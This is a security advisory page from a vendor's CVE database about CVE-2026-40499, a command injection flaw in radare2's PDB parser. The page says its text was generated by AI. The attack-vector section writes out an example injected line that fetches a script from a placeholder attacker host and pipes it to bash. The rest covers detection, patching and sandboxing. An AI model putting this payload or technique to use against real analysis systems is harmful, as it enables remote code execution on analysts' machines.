Join the Cyber Forum: Threat Intel on May 12, 2026 to learn how AI is reshaping threat defense.Join the Virtual Cyber Forum: Threat IntelRegister Now
Experiencing a Breach?Blog
Get StartedContact Us
SentinelOne
  • Platform
    Platform Overview
    • Singularity Platform
      Welcome to Integrated Enterprise Security
    • AI for Security
      Leading the Way in AI-Powered Security Solutions
    • Securing AI
      Accelerate AI Adoption with Secure AI Tools, Apps, and Agents.
    • How It Works
      The Singularity XDR Difference
    • Singularity Marketplace
      One-Click Integrations to Unlock the Power of XDR
    • Pricing & Packaging
      Comparisons and Guidance at a Glance
    Data & AI
    • Purple AI
      Accelerate SecOps with Generative AI
    • Singularity Hyperautomation
      Easily Automate Security Processes
    • AI-SIEM
      The AI SIEM for the Autonomous SOC
    • AI Data Pipelines
      Security Data Pipeline for AI SIEM and Data Optimization
    • Singularity Data Lake
      AI-Powered, Unified Data Lake
    • Singularity Data Lake for Log Analytics
      Seamlessly Ingest Data from On-Prem, Cloud or Hybrid Environments
    Endpoint Security
    • Singularity Endpoint
      Autonomous Prevention, Detection, and Response
    • Singularity XDR
      Native & Open Protection, Detection, and Response
    • Singularity RemoteOps Forensics
      Orchestrate Forensics at Scale
    • Singularity Threat Intelligence
      Comprehensive Adversary Intelligence
    • Singularity Vulnerability Management
      Application & OS Vulnerability Management
    • Singularity Identity
      Identity Threat Detection and Response
    Cloud Security
    • Singularity Cloud Security
      Block Attacks with an AI-Powered CNAPP
    • Singularity Cloud Native Security
      Secure Cloud and Development Resources
    • Singularity Cloud Workload Security
      Real-Time Cloud Workload Protection Platform
    • Singularity Cloud Data Security
      AI-Powered Threat Detection for Cloud Storage
    • Singularity Cloud Security Posture Management
      Detect and Remediate Cloud Misconfigurations
    Securing AI
    • Prompt Security
      Secure AI Tools Across Your Enterprise
  • Why SentinelOne?
    Why SentinelOne?
    • Why SentinelOne?
      Cybersecurity Built for What’s Next
    • Our Customers
      Trusted by the World’s Leading Enterprises
    • Industry Recognition
      Tested and Proven by the Experts
    • About Us
      The Industry Leader in Autonomous Cybersecurity
    Compare SentinelOne
    • Arctic Wolf
    • Broadcom
    • CrowdStrike
    • Cybereason
    • Microsoft
    • Palo Alto Networks
    • Sophos
    • Splunk
    • Trellix
    • Trend Micro
    • Wiz
    Verticals
    • Energy
    • Federal Government
    • Finance
    • Healthcare
    • Higher Education
    • K-12 Education
    • Manufacturing
    • Retail
    • State and Local Government
  • Services
    Managed Services
    • Managed Services Overview
      Wayfinder Threat Detection & Response
    • Threat Hunting
      World-Class Expertise and Threat Intelligence
    • Managed Detection & Response
      24/7/365 Expert MDR Across Your Entire Environment
    • Incident Readiness & Response
      DFIR, Breach Readiness, & Compromise Assessments
    Support, Deployment, & Health
    • Technical Account Management
      Customer Success with Personalized Service
    • SentinelOne GO
      Guided Onboarding & Deployment Advisory
    • SentinelOne University
      Live and On-Demand Training
    • Services Overview
      Comprehensive Solutions for Seamless Security Operations
    • SentinelOne Community
      Community Login
  • Partners
    Our Network
    • MSSP Partners
      Succeed Faster with SentinelOne
    • Singularity Marketplace
      Extend the Power of S1 Technology
    • Cyber Risk Partners
      Enlist Pro Response and Advisory Teams
    • Technology Alliances
      Integrated, Enterprise-Scale Solutions
    • SentinelOne for AWS
      Hosted in AWS Regions Around the World
    • Channel Partners
      Deliver the Right Solutions, Together
    • SentinelOne for Google Cloud
      Unified, Autonomous Security Giving Defenders the Advantage at Global Scale
    • Partner Locator
      Your Go-to Source for Our Top Partners in Your Region
    Partner Portal→
  • Resources
    Resource Center
    • Case Studies
    • Data Sheets
    • eBooks
    • Reports
    • Videos
    • Webinars
    • Whitepapers
    • Events
    View All Resources→
    Blog
    • Feature Spotlight
    • For CISO/CIO
    • From the Front Lines
    • Identity
    • Cloud
    • macOS
    • SentinelOne Blog
    Blog→
    Tech Resources
    • SentinelLABS
    • Ransomware Anthology
    • Cybersecurity 101
  • About
    About SentinelOne
    • About SentinelOne
      The Industry Leader in Cybersecurity
    • Investor Relations
      Financial Information & Events
    • SentinelLABS
      Threat Research for the Modern Threat Hunter
    • Careers
      The Latest Job Opportunities
    • Press & News
      Company Announcements
    • Cybersecurity Blog
      The Latest Cybersecurity Threats, News, & More
    • FAQ
      Get Answers to Our Most Frequently Asked Questions
    • DataSet
      The Live Data Platform
    • S Foundation
      Securing a Safer Future for All
    • S Ventures
      Investing in the Next Generation of Security, Data and AI
  • Pricing
Get StartedContact Us
CVE Vulnerability Database
Vulnerability Database/CVE-2026-40499

CVE-2026-40499: radare2 PDB Parser RCE Vulnerability

CVE-2026-40499 is a command injection flaw in radare2's PDB parser that allows attackers to execute arbitrary commands via crafted section names. This article covers technical details, affected versions, and mitigation.

Published: April 17, 2026

CVE-2026-40499 Overview

CVE-2026-40499 is a command injection vulnerability in radare2, the popular open-source reverse engineering framework. The vulnerability exists in the PDB parser's print_gvars() function, which fails to properly sanitize input from PE section header name fields. Attackers can craft malicious PDB files containing specially embedded newline bytes in section names, allowing them to inject arbitrary r2 commands that execute when the idp command processes the file.

This vulnerability poses significant risk to security researchers, malware analysts, and reverse engineers who routinely analyze potentially malicious binary files using radare2. The irony of a security analysis tool being exploited through malicious samples highlights the critical importance of input validation in security tooling.

Critical Impact

Attackers can achieve arbitrary command execution on systems where radare2 processes malicious PDB files, potentially compromising security research environments and analysis pipelines.

Affected Products

  • radare2 versions prior to 6.1.4
  • Systems using radare2 for PDB file analysis
  • Automated malware analysis pipelines incorporating radare2

Discovery Timeline

  • April 15, 2026 - CVE-2026-40499 published to NVD
  • April 16, 2026 - Last updated in NVD database

Technical Details for CVE-2026-40499

Vulnerability Analysis

The vulnerability stems from improper input validation in the print_gvars() function within radare2's PDB parser component. When radare2 processes PDB (Program Database) files—commonly used for debugging Windows executables—it parses various structures including section headers. The print_gvars() function outputs global variable information derived from these structures without adequately sanitizing the section name field.

In radare2's architecture, commands are processed line-by-line, with newline characters serving as command delimiters. By embedding a newline byte (\n or 0x0a) within a PE section header name field, an attacker can prematurely terminate the current command output and inject arbitrary r2 commands. When a user executes the idp command to load PDB information, the injected commands are interpreted and executed by the radare2 command interpreter.

This vulnerability is classified as CWE-78 (Improper Neutralization of Special Elements used in an OS Command), though more precisely it represents command injection within radare2's own command interpreter rather than OS-level command execution.

Root Cause

The root cause is the absence of output encoding or sanitization for section name data before it is printed to the command interface. The print_gvars() function directly incorporates untrusted data from the PDB file into command output strings without escaping newline characters or other control characters that have special meaning in the r2 command interpreter.

Attack Vector

The attack requires local access—an attacker must convince a user to analyze a malicious PDB file with radare2, or the malicious file must be processed by an automated analysis system. The attack scenario typically involves:

  1. Attacker crafts a malicious PE executable with an accompanying PDB file
  2. The PDB file contains a section header with a specially crafted name field containing newline-separated r2 commands
  3. Victim opens the executable in radare2 and uses the idp command to load debugging information
  4. The injected commands execute with the privileges of the radare2 process

Since radare2 can execute shell commands through its ! prefix, successful exploitation can lead to arbitrary OS command execution. For example, injecting \n!curl attacker.com/shell.sh | bash could result in remote code execution.

Detection Methods for CVE-2026-40499

Indicators of Compromise

  • Presence of PDB files with unusual or malformed section names containing non-printable characters
  • Unexpected network connections or process spawning from radare2 processes
  • PDB files with section names containing embedded newline bytes (0x0a) or carriage returns (0x0d)

Detection Strategies

  • Monitor for radare2 processes spawning unexpected child processes or making network connections
  • Implement file integrity monitoring on systems where radare2 is used for automated analysis
  • Scan PDB files for anomalous section header name fields before analysis
  • Review radare2 command history for unexpected or injected commands

Monitoring Recommendations

  • Enable detailed logging for radare2 usage in security research environments
  • Monitor process trees for unusual parent-child relationships involving r2 or radare2 processes
  • Implement network monitoring for analysis workstations to detect command-and-control communications
  • Consider running radare2 in sandboxed or containerized environments for untrusted file analysis

How to Mitigate CVE-2026-40499

Immediate Actions Required

  • Upgrade radare2 to version 6.1.4 or later immediately
  • Audit any automated analysis pipelines using radare2 for PDB processing
  • Consider disabling PDB loading functionality (-nn flag) when analyzing untrusted binaries until patching is complete
  • Run radare2 in sandboxed or isolated environments when analyzing potentially malicious files

Patch Information

The vulnerability has been addressed in radare2 version 6.1.4. The fix involves properly sanitizing section name output to prevent command injection through embedded control characters. The security patch is available through the official radare2 GitHub release. The specific commit addressing this issue can be reviewed in the radare2 repository.

Additional technical details about this vulnerability are available in the VulnCheck advisory and the original blog post documenting the discovery.

Workarounds

  • Avoid using the idp command on untrusted PDB files until the patch is applied
  • Run radare2 in restricted sandbox environments (containers, VMs) when analyzing untrusted binaries
  • Use the -nn flag to disable automatic analysis features when opening potentially malicious files
  • Implement pre-processing validation to detect and reject PDB files with suspicious section names
bash
# Configuration example
# Run radare2 in sandbox mode for untrusted files
firejail --private --net=none r2 suspicious_binary.exe

# Alternative: Use Docker isolation
docker run --rm -it --network none -v $(pwd):/work radare/radare2 r2 /work/suspicious_binary.exe

# Disable automatic PDB loading with -nn flag
r2 -nn suspicious_binary.exe

Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.

  • Vulnerability Details
  • TypeRCE

  • Vendor/TechRadare2

  • SeverityHIGH

  • CVSS Score8.4

  • EPSS Probability0.12%

  • Known ExploitedNo
  • CVSS Vector
  • CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
  • Impact Assessment
  • ConfidentialityLow
  • IntegrityHigh
  • AvailabilityHigh
  • CWE References
  • CWE-78
  • Technical References
  • California Blog Post on 0-Day

  • GitHub Commit: radare2 Update

  • GitHub Issue: radare2 Bug Report

  • GitHub Release: radare2 v6.1.4

  • VulnCheck Advisory: radare2 Command Injection
  • Related CVEs
  • CVE-2026-40517: radare2 PDB Parser RCE Vulnerability

  • CVE-2026-40527: radare2 Command Injection Vulnerability

  • CVE-2026-41015: radare2 Command Injection Vulnerability

  • CVE-2026-4174: Radare2 Mach-O Parser DoS Vulnerability
Default Legacy - Prefooter | Experience the World’s Most Advanced Cybersecurity Platform

Experience the World’s Most Advanced Cybersecurity Platform

See how our intelligent, autonomous cybersecurity platform can protect your organization now and into the future.

Try SentinelOne
  • Get Started
  • Get a Demo
  • Product Tour
  • Why SentinelOne
  • Pricing & Packaging
  • FAQ
  • Contact
  • Contact Us
  • Customer Support
  • SentinelOne Status
  • Language
  • Platform
  • Singularity Platform
  • Singularity Endpoint
  • Singularity Cloud
  • Singularity AI-SIEM
  • Singularity Identity
  • Singularity Marketplace
  • Purple AI
  • Services
  • Wayfinder TDR
  • SentinelOne GO
  • Technical Account Management
  • Support Services
  • Verticals
  • Energy
  • Federal Government
  • Finance
  • Healthcare
  • Higher Education
  • K-12 Education
  • Manufacturing
  • Retail
  • State and Local Government
  • Cybersecurity for SMB
  • Resources
  • Blog
  • Labs
  • Case Studies
  • Videos
  • Product Tours
  • Events
  • Cybersecurity 101
  • eBooks
  • Webinars
  • Whitepapers
  • Press
  • News
  • Ransomware Anthology
  • Company
  • About Us
  • Our Customers
  • Careers
  • Partners
  • Legal & Compliance
  • Security & Compliance
  • Investor Relations
  • S Foundation
  • S Ventures

©2026 SentinelOne, All Rights Reserved.

Privacy Notice Terms of Use

English